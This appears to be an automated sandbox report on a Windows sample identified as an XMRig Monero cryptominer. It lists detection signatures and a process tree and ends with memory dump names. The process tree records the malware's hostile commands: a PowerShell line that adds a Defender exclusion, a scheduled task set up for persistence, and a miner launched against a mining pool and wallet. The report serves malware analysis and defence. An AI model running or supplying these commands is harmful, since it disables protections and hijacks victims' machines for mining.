Analysis
- max time kernel
144s - max time network
147s - platform
windows10-2004_x64 - resource
win10v2004-20220812-en - resource tags
- submitted
16/01/2023, 17:17
General
- Target file.exe
- Size 1.5MB
- Sample230116-vtpjjaad24
- SHA256 052fcc2cb73aab7fb13d66aedca2175388904e5e8dbf3f5ac2741d69237bd132
Malware Config
Signatures
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 6 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Uses the VBS compiler for execution 1 TTPs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Program crash 1 IoCs
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 20 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "TSMSOQO" /tr "C:\ProgramData\datajs\TSMSOQO.exe"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "TSMSOQO" /tr "C:\ProgramData\datajs\TSMSOQO.exe"3⤵
- Creates scheduled task(s)
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 5100 -s 37282⤵
- Program crash
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 432 -p 5100 -ip 51001⤵
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
memory/1968-163-0x0000029920410000-0x0000029920430000-memory.dmp
memory/1968-162-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1968-173-0x00000299B4590000-0x00000299B45B0000-memory.dmp
memory/1968-171-0x00000299B4590000-0x00000299B45B0000-memory.dmp
memory/1968-170-0x00000299B45B0000-0x00000299B45D0000-memory.dmp
memory/1968-169-0x0000029921ED0000-0x0000029921F10000-memory.dmp
memory/1968-172-0x00000299B45B0000-0x00000299B45D0000-memory.dmp
memory/1968-168-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1968-159-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1968-164-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1968-161-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/2140-149-0x00007FFE1C5A0000-0x00007FFE1D061000-memory.dmp
memory/2140-147-0x000001C66F4F0000-0x000001C66F512000-memory.dmp
memory/2140-148-0x00007FFE1C5A0000-0x00007FFE1D061000-memory.dmp
memory/5100-142-0x00000000007E0000-0x0000000000952000-memory.dmp
memory/5100-145-0x00007FFE1C5A0000-0x00007FFE1D061000-memory.dmp
memory/5100-133-0x00007FFE1DBC0000-0x00007FFE1DC6A000-memory.dmp
memory/5100-151-0x0000000003350000-0x0000000003393000-memory.dmp
memory/5100-155-0x00007FFE1D970000-0x00007FFE1D9A5000-memory.dmp
memory/5100-156-0x00007FFE18240000-0x00007FFE18342000-memory.dmp
memory/5100-157-0x00007FFE39EF0000-0x00007FFE39F5B000-memory.dmp
memory/5100-141-0x00007FFE39D60000-0x00007FFE39D8B000-memory.dmp
memory/5100-150-0x00000000007E0000-0x0000000000952000-memory.dmp
memory/5100-144-0x00007FFE38440000-0x00007FFE38467000-memory.dmp
memory/5100-152-0x00007FFE1C5A0000-0x00007FFE1D061000-memory.dmp
memory/5100-143-0x00007FFE1D9B0000-0x00007FFE1DAFE000-memory.dmp
memory/5100-158-0x00007FFE37020000-0x00007FFE3705B000-memory.dmp
memory/5100-138-0x00007FFE1C5A0000-0x00007FFE1D061000-memory.dmp
memory/5100-165-0x00007FFE17800000-0x00007FFE1796A000-memory.dmp
memory/5100-166-0x00000000007E0000-0x0000000000952000-memory.dmp
memory/5100-167-0x00007FFE1C5A0000-0x00007FFE1D061000-memory.dmp
memory/5100-140-0x0000000003350000-0x0000000003393000-memory.dmp
memory/5100-139-0x00000000007E0000-0x0000000000952000-memory.dmp
memory/5100-137-0x00007FFE38580000-0x00007FFE38721000-memory.dmp
memory/5100-136-0x00007FFE1DB00000-0x00007FFE1DBBD000-memory.dmp
memory/5100-135-0x00007FFE35B70000-0x00007FFE35B82000-memory.dmp
memory/5100-134-0x00007FFE3A440000-0x00007FFE3A4DE000-memory.dmp